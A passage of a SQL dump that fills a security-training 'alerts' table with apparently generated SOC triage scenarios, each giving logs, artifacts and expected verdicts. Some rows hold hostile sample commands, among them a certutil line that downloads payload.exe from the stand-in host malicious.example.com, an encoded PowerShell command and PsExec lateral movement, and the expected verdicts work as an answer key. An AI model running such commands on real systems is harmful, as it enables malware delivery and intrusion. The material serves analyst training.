address\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"healthcare-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate domain for healthcare communications\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The domain was flagged as suspicious incorrectly, as it is used for legitimate business purposes.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1405, 'False Positive: High Volume of Medical Record Access', 'medium', 'AWS GuardDuty', 'An employee accessed a high volume of medical records which initially appeared suspicious but was verified as part of routine duties.', 'Data Access', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T15:40:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.6.45\",\"dst_ip\":\"10.0.3.15\",\"username\":\"dr.jones\",\"hostname\":\"ehr-system\",\"request_body\":\"\",\"command_line\":\"python retrieve_records.py --batch 100\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.6.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python retrieve_records.py --batch 100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Routine script for batch processing of medical records\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_access\",\"analysis_notes\":\"The activity was part of scheduled data processing and does not indicate malicious intent.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1406, 'False Positive: Unusual SSH Login Pattern', 'medium', 'Azure Defender', 'An unusual SSH login pattern was detected, but further investigation confirmed it was due to a scheduled maintenance task.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T16:22:34Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.7.55\",\"dst_ip\":\"10.0.4.25\",\"username\":\"maintainer\",\"hostname\":\"ssh-server\",\"request_body\":\"\",\"command_line\":\"ssh maintainer@10.0.4.25\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.7.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ssh maintainer@10.0.4.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled maintenance task\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The SSH login was due to scheduled maintenance, not unauthorized access.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1407, 'APT41 Lateral Movement Detected via PsExec', 'critical', 'KAPE', 'Lateral movement detected using PsExec from an internal IP to multiple hosts. This activity correlates with known APT41 techniques.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T03:15:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"192.168.1.107\",\"username\":\"finance_admin\",\"hostname\":\"finance-server02\",\"command_line\":\"PsExec.exe \\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PsExec usage is commonly associated with lateral movement attacks\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Activity matches APT41\'s known lateral movement using PsExec. Immediate action required to isolate affected systems.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1408, 'Suspicious PowerShell Activity with Encoded Commands', 'high', 'Velociraptor', 'An encoded PowerShell command was executed, potentially indicating a fileless malware attack.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T05:47:35Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.110\",\"username\":\"john.doe\",\"hostname\":\"workstation-jdoe\",\"command_line\":\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.110\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with suspicious PowerShell execution\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are a common tactic for fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell execution is indicative of a potential fileless malware attack, requiring immediate isolation and further forensic analysis.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1409, 'Detected SWIFT Network Attack Attempt', 'critical', 'FTK', 'Unauthorized login attempts detected on the SWIFT network indicating a potential breach attempt.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T02:22:11Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"swift_admin\",\"hostname\":\"swift-gateway\",\"failed_attempts\":35}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal IP, potential target of unauthorized access attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Multiple failed login attempts from a known malicious IP suggest a brute force attack targeting the SWIFT network.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:54:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:53:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:52:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:51:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1410, 'Malicious LOLBin Activity Detected Using Certutil', 'high', 'Volatility', 'Certutil was used in a suspicious manner to download a potentially malicious file.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.20\",\"username\":\"malware_user\",\"hostname\":\"compromised-pc\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP executing suspicious command\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known malicious URL hosting malware payloads\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil used to download and execute malicious 